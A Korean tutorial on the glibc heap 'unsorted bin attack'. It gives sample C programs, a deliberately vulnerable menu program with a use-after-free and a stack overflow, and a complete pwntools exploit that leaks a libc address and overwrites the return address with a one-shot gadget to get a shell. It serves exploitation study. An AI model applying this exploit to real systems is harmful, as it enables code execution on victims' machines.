Unosrted bin attack
unsorted bin attack은 해제된 청크의 BK 포인터를 조작할 수 있을 때, 임의 주소에 main_arena 영역의 주소를 쓸 수 있는 공격 기법이다.
쓰여지는 값은 주로 특정 버퍼의 사이즈를 덮는 등 추가적인 공격을 연계하기 위해 사용된다.
unsorted bin은 크기에 상관없이 청크의 재할당을 위해 사용되는 bin이다.
fastbin의 크기가 아닌 청크를 처음 해제하면, FD, BK 영역에 main_arena 영역의 주소가 써진다.
같은 크기로 힙을 할당하면 해당 포인터의 FD를 찾아 해당 주소에 재할당 한다.
unsortedbin1.c
// gcc -o unsortedbin1 unsortedbin1.c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
int main()
{
char *ptr = malloc(0x100);
char *ptr2 = malloc(0x100);
free(ptr); // ptr == unsorted bin
char *ptr3 = malloc(0x100);
}
위 코드는 256 바이트의 힙을 할당하고, 해제한 후 같은 크기로 할당하는 코드이다.
이후 malloc 함수가 호출되면 0x602000 주소에 힙을 재사용한다. 해당 포인터를 조작하면 원하는 주소 + 0x10 위치에 힙을 할당할 수 있게 된다.
_int_malloc
/* The otherwise unindexable 1-bin is used to hold unsorted chunks. */
#define unsorted_chunks(M) (bin_at (M, 1))
for (;; )
{
int iters = 0;
while (( victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
...
bck->fd = unsorted_chunks (av);
}
}
unsortedbin을 처리하는 코드이다.
victim은 main_arena.bins 첫 번째에 존재하는 unsorted bin 위치에있는 포인터의 BK 값을 저장하고, bck 변수는 victim의 BK 값을 저장한다. 그리고 bck->fd에 unsorted bin 주소가 저장된다.
unsortedbin1.c 코드로 한번 확인해 보자.
main_arena.bins[0] 위치는 unsorted bin 이다. 해당 bin에는 해제된 영역인 0x602000 주소가 저장되어 있다.
victim = unsorted_chunks (av)->bk
victim = 0x7ffff7dd1b78
bck = victim->bk
bck = 0x602000
bck->fd = unsorted_chunks (av)
bck->fd는 [0x602000 + 0x10]과 동일하다.
즉 victim을 수정할 수 있다면, 원하는 주소에 unsorted_chunks인 main_arena 영역의 주소를 쓸 수 있다.
unsortedbin2.c
#include <stdio.h>
#include <stdlib.h>
#define ALLOC_SIZE 0x410
long target;
int main()
{
fprintf(stderr, "target : 0x%lx\n", target);
long *ptr = malloc(ALLOC_SIZE);
malloc(ALLOC_SIZE);
free(ptr);
ptr[1] = (long)&target - 16;
malloc(ALLOC_SIZE);
fprintf(stderr, "target : 0x%lx\n", target);
}
위 코드는 0x410 크기의 힙을 할당하고 해제하여 unsorted bin에 들어가게 한다. unsorted bin이 된 힙 청크의 BK를 &target - 16 주소로 조작하고 같은 크기로 할당하여 target 전역변수에 main_arena 영역의 주소를 쓰는 예제이다.
ptr이 해제되고 BK를 &target - 16으로 조작한 모습이다.
이후 같은 크기로 할당하면 target 전역 변수에 main_arena 영역의 주소가 쓰이는 것을 확일할 수 있다.
unsorted.c
// gcc -o unsorted unsorted.c -fno-stack-protector
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char name[16];
int main()
{
char buf[256];
char *ptr[10];
int ch, idx;
int i = 0;
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while(1)
{
printf("> ");
scanf("%d", &ch);
switch(ch)
{
case 1:
if(i >= 10)
{
printf("Do not overflow\n");
exit(0);
}
ptr[i] = malloc(0x100);
printf("Data: ");
read(0, ptr[i], 0x100);
i++;
break;
case 2:
printf("idx: ");
scanf("%d", &idx);
free(ptr[idx]);
break;
case 3:
printf("idx: ");
scanf("%d", &idx);
printf("data: ");
read(0, ptr[idx], 0x100);
break;
case 4:
printf("Name: %s\n", name);
break;
case 5:
read(0, buf, 300);
return 0;
default:
break;
}
}
return 0;
}
위 코드의 익스 시나리오
1. 해제한 포인터를 초기화하지 않기 때문에 해제된 힙의 BK를 수정할 수 있다. 그리고 PIE 보호 기법이 적용되어 있지 않아 name 전역 변수의 주소를 알 수 있다.
2. unsorted bin attack으로 unsorted_chunks 즉, main_arena 영역의 주소를 name 전역 변수에 쓸 수 있게 되고, 4번 메뉴를 통해 변수를 출력해주기 때문에 라이브러리 주소를 알 수 있다.
3. 5번 메뉴를 통해 스택 버퍼 오버플로우가 일어나므로 리턴 주소를 원샷 가젯으로 덮어써 셸을 획득할 수 있다.
위 코드의 BK를 name-0x10 주소로 조작해 다음 할당 시 name 전역 변수에 unsorted_chunks 주소가 써지게된다.
보면 첫 번째 영역의 힙의 BK에 name-0x10으로 조작된 것을 볼 수 있다.
힙을 다시 할당하자 name 전역 변수에 unsorted_chunks 주소가 써졌다. 이제 4번 메뉴를 통해 main_arena 영역의 주소를 획득하고 라이브러리 주소로 원샷 가젯의 주소를 알아낸뒤 5번 메뉴의 스택 버퍼 오버플로우를 통해 리턴 주소를 원샷 가젯으로 주족하여 셸을 획들할 수 있다.
unsorted.py
from pwn import *
p = process('./unsorted')
elf = ELF('./unsorted')
def add(data):
print p.sendlineafter('>', '1')
print p.sendlineafter(':', str(data))
def free(idx):
print p.sendlineafter('>', '2')
print p.sendlineafter(':', str(idx))
def edit(idx, data):
print p.sendlineafter('>', '3')
print p.sendlineafter(':', str(idx))
print p.sendlineafter(':', str(data))
def print_name():
print p.sendlineafter('>', '4')
def overflow(data):
print p.sendlineafter('>', '5')
print p.sendlineafter('', str(data))
name = elf.symbols['name']
add('AAAA') # 0
add('AAAA') # 1
free(0)
edit(0, 'A'*8 + p64(name - 0x10)) # bk overwrite
add('AAAA')
print_name()
print p.recvuntil('Name: ')
unsorted_chunks = u64(p.recv(6).ljust(8, '\x00'))
libc_base = unsorted_chunks - 0x3c4b78
oneshot = libc_base + 0xf1207
log.info('unsorted_chunks = ' + hex(unsorted_chunks))
log.info('libc_base = ' + hex(libc_base))
payload = 'A'*280
payload += p64(oneshot)
overflow(payload)
p.interactive()